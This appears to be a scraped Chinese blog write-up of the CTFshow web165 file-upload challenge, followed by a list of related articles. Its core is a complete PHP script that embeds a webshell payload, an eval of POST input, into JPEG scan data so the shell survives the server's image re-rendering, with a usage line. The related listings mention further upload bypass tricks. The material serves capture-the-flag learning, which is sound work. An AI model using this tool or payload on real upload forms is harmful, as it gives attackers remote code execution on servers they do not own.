目录

  • 思路
  • 总结

思路

上传jpg图片,返回包可以看出经过了二次渲染

试了很多次,群里的jpg哪来也没成功,放弃了

<?php$miniPayload = '<?php echo 123;eval($_POST[0]);?>';if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {echo "error";break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>
用法  php exp.php a.png

总结

CTFshow 文件上传 web165相关推荐

  1. ctfshow文件上传

    web151-前端绕过 提示前台校验不可靠,上传png图片,burp抓包修改为php 任意命令执行 这里关闭js的话点击上传图片就没有反应了. web152-后端绕过 一模一样的步骤,应该上一题前端判 ...

  2. CTFshow 文件上传 web167

    目录 思路 总结 思路 根据提示上传了包含shell的jpg文件,上传成功,点击下载文件,发现没有存在文件包含点,访问upload检查是否有可执行文件,提示没有权限,但是发现中间件是apache 可以 ...

  3. CTFshow 文件上传 web153

    目录 思路 总结 思路 先上传带shell的png文件,上传成功 把文件后缀改成php,上传失败,改成xxxxx上传成功,得知是黑名单过滤, 上传phtml后缀,可以成功上传,但是无法解析,可以试试上 ...

  4. CTFSHOW文件上传篇

    151 绕过前端验证 方法1:直接关闭浏览器的js 方法2:上传.png(没错,只能是png,gif和jpg都不行)文件然后bp抓包后修改后缀,内容为一句话 直接访问upload/1.php然后 po ...

  5. CTFshow 文件上传 web166

    目录 思路 总结 思路 直接在bp发包一直失败,没什么思路,查看了一下网页源代码,提示上传zip 直接上传zip,显示下载文件,抓包发现url路径疑似文件包含点,返回的是一个html页面 在上传的zi ...

  6. CTFshow 文件上传 web162

    目录 思路 总结 思路 大致思路和上题类似,不过在上传.user.ini的时候发现.被过滤了,可以把包含的文件不带后缀来绕过 .user.ini GIF89aauto_prepend_file=png ...

  7. CTFshow 文件上传 web156

    目录 思路 总结 思路 这次发现把shell.php改成png上传的时候,提示文件类型不合规,可能对文件头进行检测,可以利用图片马来写入shell. https://github.com/hunter ...

  8. CTFshow 文件上传 web154

    目录 思路 总结 思路 上传一个包含shell的png文件,发现上传失败 清空文件内容,发现上传成功,可能过滤文件中的关键字,经过尝试,猜测文件对php进行过滤,可以用大小写来绕过 shell.png ...

  9. ctfshow 文件上传 web151~170

    目录 web151 web 152 web 153 web 154 web 155 web 156 web 157~159 web 160 web 161 web 162~163 web 164 we ...

最新文章

  1. 书单 | 计算机视觉的修炼秘笈
  2. ***如何优雅的选择字体(font-family)
  3. 【FPGA】SRIO IP核系统总览以及端口介绍(二)(I/O Port 含义介绍)
  4. python协程学习——写个并发获取网站标题的工具
  5. arcsde服务启动不了
  6. 目前最常用的计算机机箱类型为_常用的计算机设备
  7. Java基础—复制之深拷贝与浅拷贝
  8. 【Python】简单的apscheduler定时任务
  9. 【渝粤教育】电大中专幼儿园组织与管理 (10)作业 题库
  10. 吉士丁与新潮传媒达成亿级战略合作,打造国产奶酪新势力
  11. CentOS7下搭建yum仓库
  12. 演示unity内存管理机制的缺陷
  13. 电力拖动自动控制系统_系主任带你看专业 | 电气工程及其自动化、电子科学与技术、信息工程、自动化,优质就业、超高考研、竞赛获奖都在这里……...
  14. java实现Base64编码与解码
  15. 三菱工控板底层源码_三菱PLC实例代码开源PLC项目源代码参考程序百度云资源下载...
  16. 电脑桌面不见计算机图标,主编教您电脑桌面图标都不见了怎么办
  17. 掌财社:央行重磅数据出炉 M2增速大降3个百分点 社融增量仅1.85万亿 释放什么信号?
  18. 微信公众号开发--实现扫码关注公众号自动登录网站
  19. 聊聊世界编程语言排行榜的事
  20. 2020年部编人教版小学一年级语文(上册)全部知识点汇总

热门文章

  1. step by step设置postgresql用户密码并配置远程连接
  2. 【转】使用PHP计算上一个月的今天
  3. 取IDE当前文档所在项目的目录[vs.net2008]
  4. [导入]sqlserver2005 数据挖掘控件研究
  5. 修改 Android 5.1 默认设置
  6. WINCE创建快捷方式
  7. CE5.0 - romimage.exe如何填充eboot.bin中的pTOC特殊指针生成.nb0
  8. hyperledge工具-configtxgen
  9. 递归三:变态蛙跳台阶
  10. 服务器宕机造成英国航空史上最严重的大混乱